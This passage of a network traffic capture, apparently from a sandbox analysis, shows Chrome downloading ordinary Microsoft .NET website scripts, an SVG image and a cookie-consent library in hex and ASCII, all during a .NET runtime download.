2024-11-23 20:11:33 UTC	754	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:11:33 GMT Content-Type: text/javascript Content-Length: 820 Connection: close Cache-Control: public, max-age=31359572 ETag: "1db3d2c6d598734" Last-Modified: Fri, 22 Nov 2024 22:18:16 GMT Set-Cookie: TiPMix=40.80028028927817; path=/; HttpOnly; Domain=dotnetwebsite.azurewebsites.net; Max-Age=3600; Secure; SameSite=None Set-Cookie: x-ms-routing-name=self; path=/; HttpOnly; Domain=dotnetwebsite.azurewebsites.net; Max-Age=3600; Secure; SameSite=None Request-Context: appId=cid-v1:109cec76-ff6c-4be0-97b5-4f02dbac2451 X-Powered-By: ASP.NET X-Content-Type-Options: nosniff x-azure-ref: 20241123T201133Z-178bfbc474bh5zbqhC1NYCkdug00000004w000000000b9zm X-Cache: CONFIG_NOCACHE Accept-Ranges: bytes
2024-11-23 20:11:33 UTC	820	IN	Data Raw: 28 28 29 3d 3e 7b 76 61 72 20 65 2c 74 2c 6e 2c 6f 2c 63 2c 73 3b 6f 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 74 2e 66 69 6c 74 65 72 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 73 28 74 2c 65 2e 64 6f 6d 61 69 6e 73 29 26 26 21 63 28 74 29 7d 29 29 2c 6f 3d 30 3b 6f 3c 6e 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 7b 76 61 72 20 61 3d 22 57 54 2e 6d 63 5f 69 64 3d 22 2b 65 2e 65 76 65 6e 74 2b 22 2d 22 2b 65 2e 63 68 61 6e 6e 65 6c 2b 22 2d 22 2b 65 2e 61 6c 69 61 73 3b 6e 5b 6f 5d 2e 73 65 61 72 63 68 3f 6e 5b 6f 5d 2e 73 65 61 72 63 68 3d 6e 5b 6f 5d 2e 73 65 61 72 63 68 2b 22 26 22 2b 61 3a 6e 5b 6f 5d 2e 73 65 61 72 63 68 3d 22 3f 22 2b 61 7d 7d 2c 63 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 Data Ascii: (()=>{var e,t,n,o,c,s;o=function(e,t){for(var n=t.filter((function(t){return s(t,e.domains)&&!c(t)})),o=0;o<n.length;o++){var a="WT.mc_id="+e.event+"-"+e.channel+"-"+e.alias;n[o].search?n[o].search=n[o].search+"&"+a:n[o].search="?"+a}},c=function(e){retur

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49766	13.107.246.63	443	6948	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:11:32 UTC	690	OUT	GET /static/js/download.min.js?v=MBjAS82T2axGINmgsrbDGSLfnkUKGbAI1qVdIMR6lw0 HTTP/1.1 Host: dotnet.microsoft.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://dotnet.microsoft.com/en-us/download/dotnet/thank-you/runtime-desktop-6.0.36-windows-x64-installer?cid=getdotnetcore Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 20:11:33 UTC	755	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:11:33 GMT Content-Type: text/javascript Content-Length: 1222 Connection: close Cache-Control: public, max-age=31359572 ETag: "1db3d2c6d5980c6" Last-Modified: Fri, 22 Nov 2024 22:18:16 GMT Set-Cookie: TiPMix=77.12877044067419; path=/; HttpOnly; Domain=dotnetwebsite.azurewebsites.net; Max-Age=3600; Secure; SameSite=None Set-Cookie: x-ms-routing-name=self; path=/; HttpOnly; Domain=dotnetwebsite.azurewebsites.net; Max-Age=3600; Secure; SameSite=None Request-Context: appId=cid-v1:109cec76-ff6c-4be0-97b5-4f02dbac2451 X-Powered-By: ASP.NET X-Content-Type-Options: nosniff x-azure-ref: 20241123T201133Z-178bfbc474btrnf9hC1NYCb80g000000051g00000000f8mc X-Cache: CONFIG_NOCACHE Accept-Ranges: bytes
2024-11-23 20:11:33 UTC	1222	IN	Data Raw: 28 28 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 74 2c 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 61 6e 61 6c 79 74 69 63 73 26 26 61 6e 61 6c 79 74 69 63 73 2e 69 73 49 6e 69 74 69 61 6c 69 7a 65 64 28 29 3f 61 6e 61 6c 79 74 69 63 73 2e 63 61 70 74 75 72 65 50 61 67 65 41 63 74 69 6f 6e 28 6e 75 6c 6c 2c 74 29 3a 73 65 74 54 69 6d 65 6f 75 74 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 28 74 29 7d 29 2c 32 65 33 29 7d 3b 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 74 29 2c 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 Data Ascii: (()=>{"use strict";var t,e=function(t){"undefined"!=typeof analytics&&analytics.isInitialized()?analytics.capturePageAction(null,t):setTimeout((function(){return e(t)}),2e3)};t=function(t){for(var e=document.getElementsByClassName(t),n=0;n<e.length;n++){v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49773	13.107.246.63	443	6948	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:11:32 UTC	421	OUT	GET /static/js/cookie-consent.min.js?v=FHFCx1hh_QkQajxu-2Dq5V6s4Ruc2mPyLTzAOPDnJwI HTTP/1.1 Host: dotnet.microsoft.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 20:11:33 UTC	755	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:11:33 GMT Content-Type: text/javascript Content-Length: 5074 Connection: close Cache-Control: public, max-age=31359572 ETag: "1db3d2c6d5997d2" Last-Modified: Fri, 22 Nov 2024 22:18:16 GMT Set-Cookie: TiPMix=6.115082433936559; path=/; HttpOnly; Domain=dotnetwebsite.azurewebsites.net; Max-Age=3600; Secure; SameSite=None Set-Cookie: x-ms-routing-name=self; path=/; HttpOnly; Domain=dotnetwebsite.azurewebsites.net; Max-Age=3600; Secure; SameSite=None Request-Context: appId=cid-v1:109cec76-ff6c-4be0-97b5-4f02dbac2451 X-Powered-By: ASP.NET X-Content-Type-Options: nosniff x-azure-ref: 20241123T201133Z-178bfbc474bh5zbqhC1NYCkdug00000004v000000000d1et X-Cache: CONFIG_NOCACHE Accept-Ranges: bytes
2024-11-23 20:11:33 UTC	5074	IN	Data Raw: 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 63 6f 6f 6b 69 65 2d 63 6f 6e 73 65 6e 74 2e 6d 69 6e 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 28 28 29 3d 3e 7b 76 61 72 20 65 3d 7b 31 32 35 36 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 76 61 72 20 6f 3d 6e 28 32 35 38 31 29 2c 72 3d 6e 28 34 35 35 32 29 2c 69 3d 6f 2e 61 6e 61 6c 79 74 69 63 73 3b 72 2e 61 6e 61 6c 79 74 69 63 73 3d 69 2c 65 2e 65 78 70 6f 72 74 73 3d 6f 7d 2c 34 35 35 32 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 72 65 74 75 72 6e 20 6f 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 22 73 79 6d 62 6f 6c 22 Data Ascii: /! For license information please see cookie-consent.min.js.LICENSE.txt /(()=>{var e={1256:(e,t,n)=>{var o=n(2581),r=n(4552),i=o.analytics;r.analytics=i,e.exports=o},4552:(e,t,n)=>{"use strict";function o(e){return o="function"==typeof Symbol&&"symbol"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49772	13.107.246.63	443	6948	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:11:32 UTC	423	OUT	GET /static/js/culture-selector.min.js?v=mcD2sjpKkPOr9l_l-eyAH9oHE6yzuSTGpr7HFwC7M28 HTTP/1.1 Host: dotnet.microsoft.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 20:11:33 UTC	755	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:11:33 GMT Content-Type: text/javascript Content-Length: 1754 Connection: close Cache-Control: public, max-age=31359572 ETag: "1db3d2c6d5982da" Last-Modified: Fri, 22 Nov 2024 22:18:16 GMT Set-Cookie: TiPMix=41.98219332643917; path=/; HttpOnly; Domain=dotnetwebsite.azurewebsites.net; Max-Age=3600; Secure; SameSite=None Set-Cookie: x-ms-routing-name=self; path=/; HttpOnly; Domain=dotnetwebsite.azurewebsites.net; Max-Age=3600; Secure; SameSite=None Request-Context: appId=cid-v1:109cec76-ff6c-4be0-97b5-4f02dbac2451 X-Powered-By: ASP.NET X-Content-Type-Options: nosniff x-azure-ref: 20241123T201133Z-178bfbc474bbcwv4hC1NYCypys00000004ug000000007kuy X-Cache: CONFIG_NOCACHE Accept-Ranges: bytes
2024-11-23 20:11:33 UTC	1754	IN	Data Raw: 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 63 75 6c 74 75 72 65 2d 73 65 6c 65 63 74 6f 72 2e 6d 69 6e 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 28 28 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 65 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 31 3b 74 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 74 2b 2b 29 7b 76 61 72 20 6e 3d 61 72 67 75 6d 65 6e 74 73 5b 74 5d 3b 66 6f 72 28 76 61 72 20 72 20 69 6e 20 6e 29 65 5b 72 5d 3d 6e 5b 72 5d 7d 72 65 74 75 72 6e 20 65 7d 76 61 72 20 74 3d 66 75 6e 63 74 69 6f 6e 20 74 28 6e 2c 72 29 7b 66 75 6e 63 74 69 6f 6e 20 6f 28 74 2c 6f 2c 69 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 Data Ascii: /! For license information please see culture-selector.min.js.LICENSE.txt /(()=>{"use strict";function e(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)e[r]=n[r]}return e}var t=function t(n,r){function o(t,o,i){if("undefined"!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49775	13.107.246.63	443	6948	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:11:33 UTC	688	OUT	GET /static/js/footer.min.js?v=RVslb4HZMiuSbGsDzcAsIhvWLZgw2HmQR-fsPOHkfMQ HTTP/1.1 Host: dotnet.microsoft.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://dotnet.microsoft.com/en-us/download/dotnet/thank-you/runtime-desktop-6.0.36-windows-x64-installer?cid=getdotnetcore Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 20:11:33 UTC	755	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:11:33 GMT Content-Type: text/javascript Content-Length: 376 Connection: close Cache-Control: public, max-age=31359572 ETag: "1db3d2c6d598578" Last-Modified: Fri, 22 Nov 2024 22:18:16 GMT Set-Cookie: TiPMix=20.705230201071345; path=/; HttpOnly; Domain=dotnetwebsite.azurewebsites.net; Max-Age=3600; Secure; SameSite=None Set-Cookie: x-ms-routing-name=self; path=/; HttpOnly; Domain=dotnetwebsite.azurewebsites.net; Max-Age=3600; Secure; SameSite=None Request-Context: appId=cid-v1:109cec76-ff6c-4be0-97b5-4f02dbac2451 X-Powered-By: ASP.NET X-Content-Type-Options: nosniff x-azure-ref: 20241123T201133Z-178bfbc474bv587zhC1NYCny5w00000004sg00000000fgmm X-Cache: CONFIG_NOCACHE Accept-Ranges: bytes
2024-11-23 20:11:33 UTC	376	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 65 2c 6e 3d 22 41 72 72 6f 77 4c 65 66 74 22 2c 74 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 22 73 6f 63 69 61 6c 22 29 5b 30 5d 2c 72 3d 41 72 72 61 79 2e 66 72 6f 6d 28 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 61 22 29 29 2c 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 66 5b 6f 5d 3b 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 66 6f 63 75 73 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 72 2e 6c 65 6e 67 74 68 2d 31 3b 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6b 65 79 64 6f 77 6e 22 2c 28 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 76 61 72 20 66 3d 6f 2e Data Ascii: !function(){for(var e,n="ArrowLeft",t=document.getElementsByClassName("social")[0],r=Array.from(t.getElementsByTagName("a")),a=function(){var t=f[o];t.addEventListener("focus",(function(){var a=r.length-1;t.addEventListener("keydown",(function(o){var f=o.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49776	13.107.246.63	443	6948	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:11:33 UTC	392	OUT	GET /blob-assets/images/illustrations/downloading.svg HTTP/1.1 Host: dotnet.microsoft.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 20:11:33 UTC	542	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:11:33 GMT Content-Type: image/svg+xml Content-Length: 43905 Connection: close Cache-Control: public, max-age=31536000 Content-MD5: WqqMN81Zl5uSDNIcSlCjjQ== Last-Modified: Wed, 22 May 2024 01:32:39 GMT ETag: 0x8DC79FF1128EED6 x-ms-request-id: 59a8a5d3-b01e-0027-22e3-3dc9b7000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T201133Z-178bfbc474bp8mkvhC1NYCzqnn00000004ug0000000068qn X-Cache: CONFIG_NOCACHE Accept-Ranges: bytes
2024-11-23 20:11:33 UTC	15842	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 21 2d 2d 20 47 65 6e 65 72 61 74 6f 72 3a 20 41 64 6f 62 65 20 49 6c 6c 75 73 74 72 61 74 6f 72 20 32 34 2e 33 2e 30 2c 20 53 56 47 20 45 78 70 6f 72 74 20 50 6c 75 67 2d 49 6e 20 2e 20 53 56 47 20 56 65 72 73 69 6f 6e 3a 20 36 2e 30 30 20 42 75 69 6c 64 20 30 29 20 20 2d 2d 3e 0d 0a 3c 73 76 67 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 20 69 64 3d 22 4c 61 79 65 72 5f 31 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 20 78 3d 22 30 70 78 22 20 79 Data Ascii: <?xml version="1.0" encoding="utf-8"?>... Generator: Adobe Illustrator 24.3.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) --><svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y
2024-11-23 20:11:33 UTC	92	IN	Data Raw: 73 74 34 39 38 7b 66 69 6c 6c 3a 75 72 6c 28 23 53 56 47 49 44 5f 32 37 39 5f 29 3b 7d 0d 0a 09 2e 73 74 34 39 39 7b 66 69 6c 6c 3a 75 72 6c 28 23 53 56 47 49 44 5f 32 38 30 5f 29 3b 7d 0d 0a 09 2e 73 74 35 30 30 7b 66 69 6c 6c 3a 75 72 6c 28 23 53 56 47 49 44 5f 32 38 31 5f Data Ascii: st498{fill:url(#SVGID_279_);}.st499{fill:url(#SVGID_280_);}.st500{fill:url(#SVGID_281_
2024-11-23 20:11:34 UTC	16384	IN	Data Raw: 29 3b 7d 0d 0a 09 2e 73 74 35 30 31 7b 66 69 6c 6c 3a 75 72 6c 28 23 53 56 47 49 44 5f 32 38 32 5f 29 3b 7d 0d 0a 09 2e 73 74 35 30 32 7b 66 69 6c 6c 3a 75 72 6c 28 23 53 56 47 49 44 5f 32 38 33 5f 29 3b 7d 0d 0a 09 2e 73 74 35 30 33 7b 66 69 6c 6c 3a 75 72 6c 28 23 53 56 47 49 44 5f 32 38 34 5f 29 3b 7d 0d 0a 09 2e 73 74 35 30 34 7b 66 69 6c 6c 3a 75 72 6c 28 23 53 56 47 49 44 5f 32 38 35 5f 29 3b 7d 0d 0a 09 2e 73 74 35 30 35 7b 66 69 6c 6c 3a 75 72 6c 28 23 53 56 47 49 44 5f 32 38 36 5f 29 3b 7d 0d 0a 09 2e 73 74 35 30 36 7b 66 69 6c 6c 3a 75 72 6c 28 23 53 56 47 49 44 5f 32 38 37 5f 29 3b 7d 0d 0a 09 2e 73 74 35 30 37 7b 66 69 6c 6c 3a 75 72 6c 28 23 53 56 47 49 44 5f 32 38 38 5f 29 3b 7d 0d 0a 09 2e 73 74 35 30 38 7b 66 69 6c 6c 3a 75 72 6c 28 23 53 Data Ascii: );}.st501{fill:url(#SVGID_282_);}.st502{fill:url(#SVGID_283_);}.st503{fill:url(#SVGID_284_);}.st504{fill:url(#SVGID_285_);}.st505{fill:url(#SVGID_286_);}.st506{fill:url(#SVGID_287_);}.st507{fill:url(#SVGID_288_);}.st508{fill:url(#S
2024-11-23 20:11:34 UTC	11587	IN	Data Raw: 5f 29 3b 7d 0d 0a 09 2e 73 74 39 30 30 7b 66 69 6c 6c 3a 75 72 6c 28 23 53 56 47 49 44 5f 34 36 31 5f 29 3b 7d 0d 0a 09 2e 73 74 39 30 31 7b 66 69 6c 6c 3a 75 72 6c 28 23 53 56 47 49 44 5f 34 36 32 5f 29 3b 7d 0d 0a 09 2e 73 74 39 30 32 7b 66 69 6c 6c 3a 75 72 6c 28 23 53 56 47 49 44 5f 34 36 33 5f 29 3b 7d 0d 0a 09 2e 73 74 39 30 33 7b 66 69 6c 6c 3a 75 72 6c 28 23 53 56 47 49 44 5f 34 36 34 5f 29 3b 7d 0d 0a 09 2e 73 74 39 30 34 7b 66 69 6c 6c 3a 75 72 6c 28 23 53 56 47 49 44 5f 34 36 35 5f 29 3b 7d 0d 0a 09 2e 73 74 39 30 35 7b 66 69 6c 6c 3a 75 72 6c 28 23 53 56 47 49 44 5f 34 36 36 5f 29 3b 7d 0d 0a 09 2e 73 74 39 30 36 7b 66 69 6c 6c 3a 75 72 6c 28 23 53 56 47 49 44 5f 34 36 37 5f 29 3b 7d 0d 0a 09 2e 73 74 39 30 37 7b 66 69 6c 6c 3a 75 72 6c 28 23 Data Ascii: _);}.st900{fill:url(#SVGID_461_);}.st901{fill:url(#SVGID_462_);}.st902{fill:url(#SVGID_463_);}.st903{fill:url(#SVGID_464_);}.st904{fill:url(#SVGID_465_);}.st905{fill:url(#SVGID_466_);}.st906{fill:url(#SVGID_467_);}.st907{fill:url(#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49777	13.107.246.63	443	6948	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:11:33 UTC	552	OUT	GET /mscc/lib/v2/wcp-consent.js HTTP/1.1 Host: wcpstatic.microsoft.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://dotnet.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 20:11:33 UTC	712	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:11:33 GMT Content-Type: application/javascript Content-Length: 52717 Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 3959 Cache-Control: max-age=43200 Content-MD5: QT/MdZzBmCG2G2lBgIsptQ== Etag: 0x8DA85F6F74C6D08 Last-Modified: Wed, 24 Aug 2022 17:34:58 GMT Vary: Accept-Encoding X-Cache: CONFIG_NOCACHE x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: ae9d672f-401e-00c3-76da-3dd985000000 x-ms-version: 2009-09-19 x-azure-ref: 20241123T201133Z-178bfbc474bnwsh4hC1NYC2ubs00000004wg00000000ncpe Accept-Ranges: bytes
2024-11-23 20:11:33 UTC	15672	IN	Data Raw: 76 61 72 20 57 63 70 43 6f 6e 73 65 6e 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 32 32 39 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 77 69 6e 64 6f 77 2c 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 74 5b 6e 5d 29 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 74 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 74 2c 6f 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 Data Ascii: var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e
2024-11-23 20:11:34 UTC	16384	IN	Data Raw: 7b 72 65 74 75 72 6e 20 65 3f 65 2e 72 65 70 6c 61 63 65 28 2f 26 2f 67 2c 22 26 61 6d 70 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3c 2f 67 2c 22 26 6c 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3e 2f 67 2c 22 26 67 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 22 2f 67 2c 22 26 71 75 6f 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 27 2f 67 2c 22 26 23 30 33 39 3b 22 29 3a 22 22 7d 2c 65 7d 28 29 2c 61 3d 6e 2e 6c 6f 63 61 6c 73 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 2c 6f 2c 6e 2c 72 2c 69 2c 61 29 7b 74 68 69 73 2e 64 69 72 65 63 74 69 6f 6e 3d 22 6c 74 72 22 2c 74 68 69 73 2e 70 72 65 76 69 6f 75 73 46 6f 63 75 73 45 6c 65 6d 65 6e 74 42 65 66 6f 72 65 50 6f 70 75 70 3d 6e 75 6c 6c 2c 74 68 69 73 2e 63 6f 6f 6b 69 65 Data Ascii: {return e?e.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""").replace(/'/g,"'"):""},e}(),a=n.locals,l=function(){function e(e,t,o,n,r,i,a){this.direction="ltr",this.previousFocusElementBeforePopup=null,this.cookie
2024-11-23 20:11:34 UTC	16384	IN	Data Raw: 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c 61 62 65 6c 3a 68 6f 76 65 72 3a 3a 61 66 74 65 72 20 7b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 68 6f 76 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c 61 Data Ascii: r"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + label:hover::after {\n background-color: "+e["radio-button-hover-background-color"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + la
2024-11-23 20:11:34 UTC	4277	IN	Data Raw: 6d 65 6e 74 42 79 49 64 28 22 77 63 70 43 6f 6e 73 65 6e 74 42 61 6e 6e 65 72 43 74 72 6c 22 29 7d 2c 65 2e 65 6d 69 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 5b 5d 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 74 5b 6f 2d 31 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 6f 5d 3b 76 61 72 20 6e 3d 74 68 69 73 2e 65 76 65 6e 74 73 5b 65 5d 3b 6e 26 26 6e 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 74 29 7d 29 29 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 